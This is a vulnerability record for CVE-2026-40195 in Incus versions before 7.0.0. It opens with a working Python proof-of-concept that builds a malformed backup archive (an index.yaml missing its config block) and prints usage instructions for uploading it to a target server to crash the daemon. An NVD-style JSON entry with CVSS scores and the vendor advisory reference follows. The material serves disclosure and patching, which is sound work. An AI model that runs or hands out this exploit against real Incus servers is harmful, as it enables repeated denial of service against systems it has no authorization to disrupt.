CVE-2026-40195

import tarfile import io # Create a malicious index.yaml omitting the 'config' block # This triggers the nil-pointer dereference in Incus < 7.0.0 malicious_yaml_content = b"""# Malformed backup index container: malicious_bucket # Note: The 'config' block is missing here """ # Create a tar.gz archive in memory memory_buffer = io.BytesIO() with tarfile.open(fileobj=memory_buffer, mode="w:gz") as tar: tarinfo = tarfile.TarInfo(name="index.yaml") tarinfo.size = len(malicious_yaml_content) tar.addfile(tarinfo, io.BytesIO(malicious_yaml_content)) # Write the exploit file to disk exploit_filename = "cve_2026_40195_exploit.tar.gz" with open(exploit_filename, "wb") as f: f.write(memory_buffer.getvalue()) print(f"[+] Exploit archive created: {exploit_filename}") print("[+] Usage: Upload this file to the target Incus server using the storage bucket import API.")

{"cve": {"id": "CVE-2026-40195", "sourceIdentifier": "[email protected]", "published": "2026-05-06T21:16:00.793", "lastModified": "2026-05-07T17:07:08.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage bucket import logic allows an authenticated user with access to the storage bucket feature to cause the Incus daemon to crash. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and accesses members of the parsed backup configuration without first verifying that the configuration object was initialized. A malicious or malformed index.yaml that omits the config block causes a nil-pointer dereference during bucket import operations and terminates the daemon. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.0", "matchCriteriaId": "CF8EBB4B-C1F0-44C5-B063-9CF8EB6E0972"}]}]}], "references": [{"url": "https://github.com/lxc/incus/security/advisories/GHSA-gc7j-g665-rxr9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/lxc/incus/security/advisories/GHSA-gc7j-g665-rxr9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}